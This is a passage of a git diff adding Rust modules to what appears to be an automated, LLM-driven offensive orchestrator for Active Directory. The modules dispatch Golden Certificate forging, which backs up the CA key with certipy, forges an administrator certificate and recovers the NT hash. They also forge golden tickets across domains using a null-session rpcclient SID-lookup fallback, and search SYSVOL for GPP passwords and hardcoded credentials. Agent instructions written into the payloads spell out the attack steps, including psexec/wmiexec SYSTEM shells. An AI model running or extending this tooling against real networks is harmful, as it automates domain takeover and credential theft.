tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Watches for owned CA hosts and dispatches Golden Certificate pipelines. +/// Interval: 30s. +pub async fn auto_golden_cert(dispatcher: Arc, mut shutdown: watch::Receiver) { + let mut interval = tokio::time::interval(Duration::from_secs(30)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("golden_cert") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_golden_cert_work(&state) + }; + + for item in work { + let mut payload = json!({ + "technique": "golden_cert", + "ca_host": item.ca_host, + "ca_hostname": item.ca_hostname, + "domain": item.domain, + "target_user": "administrator", + "target_upn": format!("administrator@{}", item.domain), + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + "username": item.credential.username, + "password": item.credential.password, + "objectives": [ + "Step 1 (backup): run `certipy_ca` with backup=true, ca=, username/password from credential, dc_ip=. Requires SYSTEM or CA admin on the CA host — since this host is owned, you can also run a SYSTEM shell (psexec/wmiexec) and execute certipy locally.", + "Step 2 (forge): run `certipy_forge` with ca_pfx=, upn=`administrator@`. Output is a forged client-auth certificate signed by the CA private key — no DC interaction needed.", + "Step 3 (auth): run `certipy_auth` with pfx_path=, domain=, dc_ip= to PKINIT-authenticate as administrator and recover the NT hash.", + "If you don't yet know the CA name, run `certipy_find` first against this host to discover it (the CA's `Name` / `DNS Name`).", + "If `certipy_ca -backup` fails with an RPC/perm error from a network cred, fall back to a local SYSTEM shell (psexec/wmiexec to ca_host) and run certipy from there — the host is owned.", + ], + }); + + if let Some(ref dc) = item.dc_ip { + payload["dc_ip"] = json!(dc); + payload["target_ip"] = json!(dc); + } + if let Some(ref ca_name) = item.ca_name { + payload["ca_name"] = json!(ca_name); + } + if let Some(ref sid) = item.domain_sid { + payload["domain_sid"] = json!(sid); + payload["admin_sid"] = json!(format!("{sid}-500")); + } + + let priority = dispatcher.effective_priority("golden_cert"); + match dispatcher + .throttled_submit("exploit", "credential_access", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + ca_host = %item.ca_host, + domain = %item.domain, + "Golden Certificate pipeline dispatched" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_GOLDEN_CERT, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_GOLDEN_CERT, &item.dedup_key) + .await; + } + Ok(None) => { + debug!(ca_host = %item.ca_host, "Golden Cert deferred by throttler"); + } + Err(e) => { + warn!(err = %e, ca_host = %item.ca_host, "Failed to dispatch Golden Cert"); + } + } + } + } +} + +/// Pure logic so it can be unit-tested without a `Dispatcher` or runtime. +fn collect_golden_cert_work(state: &StateInner) -> Vec { + state + .hosts + .iter() + .filter(|h| h.owned) + .filter_map(|h| { + let host_lower = h.ip.to_lowercase(); + let hostname_lower = h.hostname.to_lowercase(); + + let is_ca = state.shares.iter().any(|s| { + s.name.to_lowercase() == "certenroll" + && (s.host == h.ip || s.host.to_lowercase() == hostname_lower) + }); + if !is_ca { + return None; + } + + let domain = extract_domain_from_fqdn(&h.hostname).and_then(|d| { + if state.domains.iter().any(|known| known.to_lowercase() == d) { + Some(d) + } else { + state + .domains + .iter() + .find(|known| d.ends_with(&format!(".{}", known.to_lowercase()))) + .or_else(|| { + state + .domains + .iter() + .find(|known| known.to_lowercase().ends_with(&format!(".{d}"))) + }) + .cloned() + .or(Some(d)) + } + })?; + + // Don't forge a Golden Cert against a domain we already own. + if state.dominated_domains.contains(&domain) { + return None; + } + + let dedup_key = format!("{}:{}", host_lower, domain.to_lowercase()); + if state.is_processed(DEDUP_GOLDEN_CERT, &dedup_key) { + return None; + } + + // The certipy_ca call needs a credential that authenticates to the + // CA host's domain. Try same-domain first, then trusted-domain + // (cross-forest) as fallback. + let same_domain = state + .credentials + .iter() + .find(|c| { + !c.password.is_empty() + && c.domain.to_lowercase() == domain.to_lowercase() + && !c.username.starts_with('$') + && !state.is_delegation_account(&c.username) + && !state.is_principal_quarantined(&c.username, &c.domain) + }) + .cloned(); + + let credential = same_domain.or_else(|| state.find_trust_credential(&domain))?; + + let dc_ip = state + .domain_controllers + .get(&domain.to_lowercase()) + .cloned(); + + let domain_sid = state.domain_sids.get(&domain.to_lowercase()).cloned(); + + let ca_name = lookup_ca_name(state, &h.ip, &h.hostname); + + Some(GoldenCertWork { + ca_host: h.ip.clone(), + ca_hostname: h.hostname.clone(), + dedup_key, + domain, + dc_ip, + domain_sid, + ca_name, + credential, + }) + }) + .collect() +} + +/// Extract the domain portion of an FQDN ("ca01.contoso.local" -> "contoso.local"). +fn extract_domain_from_fqdn(fqdn: &str) -> Option { + fqdn.to_lowercase() + .split_once('.') + .map(|(_, d)| d.to_string()) +} + +/// Look up a CA name from previously-discovered ADCS vulns on this host. +/// Falls back to None if no `certipy_find` result has populated `ca_name` yet — +/// the LLM agent is instructed to run certipy_find first when this is missing. +fn lookup_ca_name(state: &StateInner, host_ip: &str, hostname: &str) -> Option { + let host_l = host_ip.to_lowercase(); + let hn_l = hostname.to_lowercase(); + state + .discovered_vulnerabilities + .values() + .filter(|v| { + let t = v.target.to_lowercase(); + t == host_l || t == hn_l + }) + .find_map(|v| { + for key in &["ca_name", "CA", "ca"] { + if let Some(s) = v.details.get(*key).and_then(|x| x.as_str()) { + if !s.is_empty() { + return Some(s.to_string()); + } + } + } + None + }) +} + +struct GoldenCertWork { + ca_host: String, + ca_hostname: String, + dedup_key: String, + domain: String, + dc_ip: Option, + domain_sid: Option, + ca_name: Option, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + use ares_core::models::{Credential, Host, Share}; + + fn make_credential(username: &str, password: &str, domain: &str) -> Credential { + Credential { + id: format!("c-{username}"), + username: username.into(), + password: password.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + fn make_host(ip: &str, hostname: &str, owned: bool) -> Host { + Host { + ip: ip.into(), + hostname: hostname.into(), + os: String::new(), + roles: Vec::new(), + services: Vec::new(), + is_dc: false, + owned, + } + } + + fn make_share(host: &str, name: &str) -> Share { + Share { + host: host.into(), + name: name.into(), + permissions: String::new(), + comment: String::new(), + authenticated_as: None, + } + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_GOLDEN_CERT, "golden_cert"); + } + + #[test] + fn extract_domain_typical() { + assert_eq!( + extract_domain_from_fqdn("ca01.contoso.local"), + Some("contoso.local".to_string()) + ); + } + + #[test] + fn extract_domain_case_insensitive() { + assert_eq!( + extract_domain_from_fqdn("CA01.CONTOSO.LOCAL"), + Some("contoso.local".to_string()) + ); + } + + #[test] + fn extract_domain_bare_hostname() { + assert_eq!(extract_domain_from_fqdn("ca01"), None); + } + + #[test] + fn collect_empty_state_returns_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_golden_cert_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_unowned_ca_host_skipped() { + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "CertEnroll")); + state + .hosts + .push(make_host("192.168.58.50", "ca01.contoso.local", false)); + state.domains.push("contoso.local".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_golden_cert_work(&state); + assert!(work.is_empty(), "unowned CA host should not yield work"); + } + + #[test] + fn collect_owned_non_ca_host_skipped() { + let mut state = StateInner::new("test-op".into()); + // Owned host but no CertEnroll share + state + .hosts + .push(make_host("192.168.58.20", "fs01.contoso.local", true)); + state.domains.push("contoso.local".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_golden_cert_work(&state); + assert!(work.is_empty(), "non-CA owned host should not yield work"); + } + + #[test] + fn collect_owned_ca_with_same_domain_cred_yields_work() { + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "CertEnroll")); + state + .hosts + .push(make_host("192.168.58.50", "ca01.contoso.local", true)); + state.domains.push("contoso.local".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_golden_cert_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].ca_host, "192.168.58.50"); + assert_eq!(work[0].ca_hostname, "ca01.contoso.local"); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].credential.username, "admin"); + assert_eq!(work[0].dedup_key, "192.168.58.50:contoso.local"); + } + + #[test] + fn collect_dominated_domain_skipped() { + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "CertEnroll")); + state + .hosts + .push(make_host("192.168.58.50", "ca01.contoso.local", true)); + state.domains.push("contoso.local".into()); + state.dominated_domains.insert("contoso.local".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_golden_cert_work(&state); + assert!( + work.is_empty(), + "should not forge against an already-dominated domain" + ); + } + + #[test] + fn collect_dedup_skips_processed() { + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "CertEnroll")); + state + .hosts + .push(make_host("192.168.58.50", "ca01.contoso.local", true)); + state.domains.push("contoso.local".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.mark_processed(DEDUP_GOLDEN_CERT, "192.168.58.50:contoso.local".into()); + let work = collect_golden_cert_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credential_skipped() { + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "CertEnroll")); + state + .hosts + .push(make_host("192.168.58.50", "ca01.contoso.local", true)); + state.domains.push("contoso.local".into()); + // No credentials at all + let work = collect_golden_cert_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_resolves_dc_ip_when_available() { + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "CertEnroll")); + state + .hosts + .push(make_host("192.168.58.50", "ca01.contoso.local", true)); + state.domains.push("contoso.local".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + let work = collect_golden_cert_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dc_ip.as_deref(), Some("192.168.58.10")); + } + + #[test] + fn collect_certenroll_case_insensitive() { + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "certenroll")); + state + .hosts + .push(make_host("192.168.58.50", "ca01.contoso.local", true)); + state.domains.push("contoso.local".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_golden_cert_work(&state); + assert_eq!(work.len(), 1); + } + + #[test] + fn collect_picks_domain_sid_when_known() { + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "CertEnroll")); + state + .hosts + .push(make_host("192.168.58.50", "ca01.contoso.local", true)); + state.domains.push("contoso.local".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .domain_sids + .insert("contoso.local".into(), "S-1-5-21-1111-2222-3333".into()); + let work = collect_golden_cert_work(&state); + assert_eq!(work.len(), 1); + assert_eq!( + work[0].domain_sid.as_deref(), + Some("S-1-5-21-1111-2222-3333") + ); + } + + #[test] + fn collect_dedup_key_lowercased() { + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "CertEnroll")); + state + .hosts + .push(make_host("192.168.58.50", "CA01.CONTOSO.LOCAL", true)); + state.domains.push("contoso.local".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_golden_cert_work(&state); + assert_eq!(work.len(), 1); + // Dedup key uses lowercase IP (already lowercase here) and lowercase domain + assert_eq!(work[0].dedup_key, "192.168.58.50:contoso.local"); + } + + #[test] + fn collect_multiple_owned_cas_yields_multiple_work() { + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "CertEnroll")); + state.shares.push(make_share("192.168.58.51", "CertEnroll")); + state + .hosts + .push(make_host("192.168.58.50", "ca01.contoso.local", true)); + state + .hosts + .push(make_host("192.168.58.51", "ca02.fabrikam.local", true)); + state.domains.push("contoso.local".into()); + state.domains.push("fabrikam.local".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("fabadmin", "Fab!Pass", "fabrikam.local")); // pragma: allowlist secret + let work = collect_golden_cert_work(&state); + assert_eq!(work.len(), 2); + } +} diff --git a/ares-cli/src/orchestrator/automation/golden_ticket.rs b/ares-cli/src/orchestrator/automation/golden_ticket.rs index d58b7372..1abb1ec2 100644 --- a/ares-cli/src/orchestrator/automation/golden_ticket.rs +++ b/ares-cli/src/orchestrator/automation/golden_ticket.rs @@ -1,5 +1,6 @@ //! auto_golden_ticket -- monitor for krbtgt hash and forge golden ticket. +use std::collections::HashSet; use std::sync::Arc; use std::time::Duration; @@ -11,6 +12,12 @@ use crate::orchestrator::dispatcher::Dispatcher; /// Monitors for krbtgt hash and triggers golden ticket forging. /// Interval: 30s. Matches Python `_auto_golden_ticket`. +/// +/// Multi-domain: a single op routinely captures krbtgt for >1 domain (child +/// then parent via ExtraSid; both forests via inter-realm forge). Each +/// domain needs its own forge dispatch — the dedup is per-domain via the +/// `golden_ticket_` exploited-vuln key, not the global +/// `has_golden_ticket` bool (which is kept only as a legacy aggregate). pub async fn auto_golden_ticket(dispatcher: Arc, mut shutdown: watch::Receiver) { let mut interval = tokio::time::interval(Duration::from_secs(30)); interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); @@ -24,54 +31,74 @@ pub async fn auto_golden_ticket(dispatcher: Arc, mut shutdown: watch break; } - let state = dispatcher.state.read().await; + // Snapshot the work queue: every distinct domain with a krbtgt + // hash that hasn't already been forged. We resolve each one in + // turn; SID lookups can issue tool calls and mutate state, so + // we snapshot the list first under the read lock and release it. + let pending_domains: Vec = { + let state = dispatcher.state.read().await; + if !state.has_domain_admin { + continue; + } + let mut seen = HashSet::new(); + let mut out = Vec::new(); + for h in &state.hashes { + if !h.username.eq_ignore_ascii_case("krbtgt") { + continue; + } + let domain = if !h.domain.is_empty() { + h.domain.to_lowercase() + } else if let Some(d) = state.domains.first() { + d.to_lowercase() + } else { + continue; + }; + if !seen.insert(domain.clone()) { + continue; + } + let vuln_id = format!("golden_ticket_{domain}"); + if state.exploited_vulnerabilities.contains(&vuln_id) { + continue; + } + out.push(domain); + } + out + }; - // Skip if already have golden ticket - if state.has_golden_ticket { - continue; + for domain in pending_domains { + try_forge_golden_ticket(&dispatcher, &domain).await; } + } +} - // Skip if no domain admin yet - if !state.has_domain_admin { - continue; - } +/// Run a single forge attempt for `domain`. Called from the multi-domain +/// loop above; each call holds and releases its own state locks so a slow +/// SID lookup for one domain doesn't block the others. +async fn try_forge_golden_ticket(dispatcher: &Arc, domain: &str) { + let domain_lc = domain.to_lowercase(); - // Look for krbtgt hash - let krbtgt_hash = state + let (krbtgt, mut domain_sid, dc_ip, admin_cred, admin_hash, lookup_cred) = { + let state = dispatcher.state.read().await; + + let Some(krbtgt) = state .hashes .iter() - .find(|h| h.username.to_lowercase() == "krbtgt"); - - let krbtgt = match krbtgt_hash { - Some(h) => h.clone(), - None => continue, - }; - - let domain = if !krbtgt.domain.is_empty() { - krbtgt.domain.clone() - } else { - match state.domains.first() { - Some(d) => d.clone(), - None => continue, - } + .find(|h| { + h.username.eq_ignore_ascii_case("krbtgt") && h.domain.to_lowercase() == domain_lc + }) + .cloned() + else { + return; }; - // Domain SID: prefer cached value, resolve via lookupsid if missing. - let mut domain_sid = state.domain_sids.get(&domain.to_lowercase()).cloned(); - - // Look up a DC IP for this domain - let dc_ip = state - .domain_controllers - .get(&domain.to_lowercase()) - .cloned(); + let domain_sid = state.domain_sids.get(&domain_lc).cloned(); + let dc_ip = state.domain_controllers.get(&domain_lc).cloned(); - // Find the best credential for the domain: prefer plaintext, fall back to NTLM hash. let admin_cred = state .credentials .iter() .find(|c| { - c.username.to_lowercase() == "administrator" - && c.domain.to_lowercase() == domain.to_lowercase() + c.username.to_lowercase() == "administrator" && c.domain.to_lowercase() == domain_lc }) .cloned(); let admin_hash = state @@ -79,146 +106,138 @@ pub async fn auto_golden_ticket(dispatcher: Arc, mut shutdown: watch .iter() .find(|h| { h.username.to_lowercase() == "administrator" - && h.domain.to_lowercase() == domain.to_lowercase() + && h.domain.to_lowercase() == domain_lc && h.hash_type.to_uppercase() == "NTLM" }) .cloned(); - // Collect a password credential for SID lookup (any domain user will do). - // Prefer a cred from the target domain, but fall back to any valid cred - // since NTLM cross-domain auth works for lookupsid via trust relationships. + // Password credential for SID lookup. Prefer same-domain, fall + // back to any non-quarantined cred — NTLM cross-domain auth + // works via trust for lookupsid. let lookup_cred = state .credentials .iter() .find(|c| { - c.domain.to_lowercase() == domain.to_lowercase() + c.domain.to_lowercase() == domain_lc && !c.password.is_empty() - && !state.is_credential_quarantined(&c.username, &c.domain) + && !state.is_principal_quarantined(&c.username, &c.domain) }) .or_else(|| { state.credentials.iter().find(|c| { !c.password.is_empty() - && !state.is_credential_quarantined(&c.username, &c.domain) + && !state.is_principal_quarantined(&c.username, &c.domain) }) }) .cloned(); - drop(state); + ( + krbtgt, + domain_sid, + dc_ip, + admin_cred, + admin_hash, + lookup_cred, + ) + }; - // ── Resolve domain SID if not cached ──────────────────────────── - if domain_sid.is_none() { - if let Some(ref target_ip) = dc_ip { - let result = resolve_domain_sid( - &domain, - target_ip, - lookup_cred.as_ref(), - admin_hash.as_ref(), - ) - .await; + // ── Resolve domain SID if not cached ──────────────────────────── + if domain_sid.is_none() { + if let Some(ref target_ip) = dc_ip { + let result = + resolve_domain_sid(domain, target_ip, lookup_cred.as_ref(), admin_hash.as_ref()) + .await; - // Cache the resolved SID and admin name - if let Some((ref sid, ref admin_name)) = result { - info!(domain = %domain, sid = %sid, admin = admin_name.as_deref().unwrap_or("Administrator"), "Domain SID resolved via lookupsid"); - let op_id = { dispatcher.state.read().await.operation_id.clone() }; - let reader = ares_core::state::RedisStateReader::new(op_id); - let mut conn = dispatcher.queue.connection(); - if let Err(e) = reader - .set_domain_sid(&mut conn, &domain.to_lowercase(), sid) - .await - { - warn!(err = %e, "Failed to persist domain SID to Redis"); - } - if let Some(ref name) = admin_name { - if let Err(e) = reader - .set_admin_name(&mut conn, &domain.to_lowercase(), name) - .await - { - warn!(err = %e, "Failed to persist admin name to Redis"); - } - } - let mut state = dispatcher.state.write().await; - state.domain_sids.insert(domain.to_lowercase(), sid.clone()); - if let Some(ref name) = admin_name { - state - .admin_names - .insert(domain.to_lowercase(), name.clone()); + if let Some((ref sid, ref admin_name)) = result { + info!(domain = %domain, sid = %sid, admin = admin_name.as_deref().unwrap_or("Administrator"), "Domain SID resolved via lookupsid"); + let op_id = { dispatcher.state.read().await.operation_id.clone() }; + let reader = ares_core::state::RedisStateReader::new(op_id); + let mut conn = dispatcher.queue.connection(); + if let Err(e) = reader.set_domain_sid(&mut conn, &domain_lc, sid).await { + warn!(err = %e, "Failed to persist domain SID to Redis"); + } + if let Some(ref name) = admin_name { + if let Err(e) = reader.set_admin_name(&mut conn, &domain_lc, name).await { + warn!(err = %e, "Failed to persist admin name to Redis"); } } - - domain_sid = result.map(|(sid, _)| sid); + let mut state = dispatcher.state.write().await; + state.domain_sids.insert(domain_lc.clone(), sid.clone()); + if let Some(ref name) = admin_name { + state.admin_names.insert(domain_lc.clone(), name.clone()); + } } + + domain_sid = result.map(|(sid, _)| sid); } + } - let domain_sid = match domain_sid { - Some(sid) => sid, - None => { - warn!(domain = %domain, "Cannot resolve domain SID — skipping golden ticket"); - continue; - } - }; + let domain_sid = match domain_sid { + Some(sid) => sid, + None => { + warn!(domain = %domain, "Cannot resolve domain SID — skipping golden ticket"); + return; + } + }; - // Use cached RID-500 name, defaulting to "Administrator" when unknown. - let admin_username = { - let state = dispatcher.state.read().await; - state - .admin_names - .get(&domain.to_lowercase()) - .cloned() - .unwrap_or_else(|| "Administrator".to_string()) - }; + let admin_username = { + let state = dispatcher.state.read().await; + state + .admin_names + .get(&domain_lc) + .cloned() + .unwrap_or_else(|| "Administrator".to_string()) + }; - // ── Build and submit golden ticket task ───────────────────────── - // Strip LM prefix if hash is in "lm:ntlm" format — ticketer expects - // a single 32-char NTLM hex string, not the LM:NTLM pair. - let ntlm_hash = match krbtgt.hash_value.rsplit_once(':') { - Some((_, ntlm)) if ntlm.len() == 32 => ntlm.to_string(), - _ => krbtgt.hash_value.clone(), - }; + // ── Build and submit golden ticket task ───────────────────────── + // Strip LM prefix if hash is in "lm:ntlm" format — ticketer expects + // a single 32-char NTLM hex string, not the LM:NTLM pair. + let ntlm_hash = match krbtgt.hash_value.rsplit_once(':') { + Some((_, ntlm)) if ntlm.len() == 32 => ntlm.to_string(), + _ => krbtgt.hash_value.clone(), + }; - let mut payload = json!({ - "technique": "golden_ticket", - "vuln_type": "golden_ticket", - "domain": domain, - "krbtgt_hash": ntlm_hash, - "username": admin_username, - "domain_sid": domain_sid, - }); - if let Some(ip) = dc_ip { - payload["dc_ip"] = json!(ip); - } - if let Some(ref cred) = admin_cred { - payload["admin_password"] = json!(cred.password); - payload["admin_domain"] = json!(cred.domain); - } - if let Some(ref hash) = admin_hash { - payload["admin_hash"] = json!(hash.hash_value); - payload["admin_domain"] = - json!(admin_cred.as_ref().map_or(&hash.domain, |c| &c.domain)); - } - if let Some(ref aes) = krbtgt.aes_key { - payload["aes_key"] = json!(aes); - } + let mut payload = json!({ + "technique": "golden_ticket", + "vuln_type": "golden_ticket", + "domain": domain, + "krbtgt_hash": ntlm_hash, + "username": admin_username, + "domain_sid": domain_sid, + }); + if let Some(ip) = dc_ip { + payload["dc_ip"] = json!(ip); + } + if let Some(ref cred) = admin_cred { + payload["admin_password"] = json!(cred.password); + payload["admin_domain"] = json!(cred.domain); + } + if let Some(ref hash) = admin_hash { + payload["admin_hash"] = json!(hash.hash_value); + payload["admin_domain"] = json!(admin_cred.as_ref().map_or(&hash.domain, |c| &c.domain)); + } + if let Some(ref aes) = krbtgt.aes_key { + payload["aes_key"] = json!(aes); + } - match dispatcher - .throttled_submit("exploit", "privesc", payload, 1) - .await - { - Ok(Some(task_id)) => { - info!(task_id = %task_id, domain = %domain, "Golden ticket task dispatched"); - // Mark has_golden_ticket immediately to prevent re-dispatch. - // The result processing will also confirm on task completion - // (detects "Saving ticket in *.ccache" in tool output). - if let Err(e) = dispatcher - .state - .set_golden_ticket(&dispatcher.queue, &domain) - .await - { - warn!(err = %e, "Failed to set golden ticket flag after dispatch"); - } + match dispatcher + .throttled_submit("exploit", "privesc", payload, 1) + .await + { + Ok(Some(task_id)) => { + info!(task_id = %task_id, domain = %domain, "Golden ticket task dispatched"); + // Mark per-domain immediately to prevent re-dispatch on the + // next 30s tick. Result processing also confirms on task + // completion (detects "Saving ticket in *.ccache" in output). + if let Err(e) = dispatcher + .state + .set_golden_ticket(&dispatcher.queue, domain) + .await + { + warn!(err = %e, "Failed to set golden ticket flag after dispatch"); } - Ok(None) => {} - Err(e) => warn!(err = %e, "Failed to dispatch golden ticket"), } + Ok(None) => {} + Err(e) => warn!(err = %e, "Failed to dispatch golden ticket"), } } @@ -229,7 +248,7 @@ pub async fn auto_golden_ticket(dispatcher: Arc, mut shutdown: watch /// Uses the credential's own domain for NTLM auth (not the target domain) so /// cross-domain trust authentication works — e.g. a `child.contoso.local` /// cred can resolve the SID of `contoso.local` via its parent DC. -async fn resolve_domain_sid( +pub(crate) async fn resolve_domain_sid( _domain: &str, dc_ip: &str, password_cred: Option<&ares_core::models::Credential>, @@ -291,5 +310,42 @@ async fn resolve_domain_sid( } } + // Final fallback: null-session LSARPC lsaquery. Authenticated impacket + // cross-domain lookupsid (child-domain creds against the parent DC) + // routinely fails — impacket's Kerberos referral chain is buggy + // (fortra/impacket#315) and NTLM cross-domain auth gets rejected by + // hardened DCs. But `rpcclient -U "" -N -c "lsaquery"` over a + // null session usually succeeds against any DC that allows anonymous + // LSA queries — which is most legacy/lab AD deployments. The output is + // parsed by `extract_lsaquery_domain_sid`. This unblocks the + // child→parent forge path in `auto_trust_follow` when authenticated + // lookupsid against the parent DC fails. + match tokio::process::Command::new("rpcclient") + .arg("-U") + .arg("") + .arg("-N") + .arg(dc_ip) + .arg("-c") + .arg("lsaquery") + .output() + .await + { + Ok(out) => { + let combined = format!( + "{}\n{}", + String::from_utf8_lossy(&out.stdout), + String::from_utf8_lossy(&out.stderr) + ); + if let Some((_flat, sid)) = ares_core::parsing::extract_lsaquery_domain_sid(&combined) { + info!(dc_ip = %dc_ip, sid = %sid, "Resolved domain SID via null-session lsaquery fallback"); + return Some((sid, None)); + } + warn!(dc_ip = %dc_ip, "Null-session lsaquery returned no parseable SID"); + } + Err(e) => { + warn!(err = %e, dc_ip = %dc_ip, "Failed to invoke rpcclient for null-session lsaquery"); + } + } + None } diff --git a/ares-cli/src/orchestrator/automation/gpp_sysvol.rs b/ares-cli/src/orchestrator/automation/gpp_sysvol.rs new file mode 100644 index 00000000..a2d6d049 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/gpp_sysvol.rs @@ -0,0 +1,342 @@ +//! auto_gpp_sysvol -- search for GPP passwords and credential artifacts in SYSVOL. +//! +//! Group Policy Preferences (GPP) XML files can contain encrypted passwords +//! using a publicly known AES key (MS14-025). SYSVOL scripts (.bat, .ps1, .vbs) +//! often contain hardcoded credentials. +//! +//! Dispatches two techniques per DC: +//! 1. `gpp_password_finder` — searches SYSVOL for Groups.xml, Scheduledtasks.xml, etc. +//! 2. `sysvol_script_search` — greps SYSVOL scripts for passwords/credentials + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Collect GPP/SYSVOL work items from state (pure logic, no async). +fn collect_gpp_sysvol_work(state: &StateInner) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + for (domain, dc_ip) in &state.all_domains_with_dcs() { + let dedup_key = format!("gpp:{}", domain.to_lowercase()); + if state.is_processed(DEDUP_GPP_SYSVOL, &dedup_key) { + continue; + } + + let cred = match state + .credentials + .iter() + .find(|c| c.domain.to_lowercase() == domain.to_lowercase()) + .or_else(|| state.credentials.first()) + { + Some(c) => c.clone(), + None => continue, + }; + + items.push(GppSysvolWork { + dedup_key, + domain: domain.clone(), + dc_ip: dc_ip.clone(), + credential: cred, + }); + } + + items +} + +/// Searches SYSVOL for GPP passwords and script credentials. +/// Interval: 45s. +pub async fn auto_gpp_sysvol(dispatcher: Arc, mut shutdown: watch::Receiver) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("gpp_sysvol") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_gpp_sysvol_work(&state) + }; + + for item in work { + let payload = json!({ + "techniques": ["gpp_password_finder", "sysvol_script_search"], + "target_ip": item.dc_ip, + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + + let priority = dispatcher.effective_priority("gpp_sysvol"); + match dispatcher + .throttled_submit("credential_access", "credential_access", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + domain = %item.domain, + dc = %item.dc_ip, + "GPP/SYSVOL credential search dispatched" + ); + + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_GPP_SYSVOL, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_GPP_SYSVOL, &item.dedup_key) + .await; + } + Ok(None) => { + debug!(domain = %item.domain, "GPP/SYSVOL task deferred"); + } + Err(e) => { + warn!(err = %e, domain = %item.domain, "Failed to dispatch GPP/SYSVOL search"); + } + } + } + } +} + +struct GppSysvolWork { + dedup_key: String, + domain: String, + dc_ip: String, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn dedup_key_format() { + let key = format!("gpp:{}", "contoso.local"); + assert_eq!(key, "gpp:contoso.local"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_GPP_SYSVOL, "gpp_sysvol"); + } + + #[test] + fn payload_contains_both_techniques() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let payload = json!({ + "techniques": ["gpp_password_finder", "sysvol_script_search"], + "target_ip": "192.168.58.10", + "domain": "contoso.local", + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + }); + let techniques = payload["techniques"].as_array().unwrap(); + assert_eq!(techniques.len(), 2); + assert_eq!(techniques[0], "gpp_password_finder"); + assert_eq!(techniques[1], "sysvol_script_search"); + } + + #[test] + fn work_struct_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + 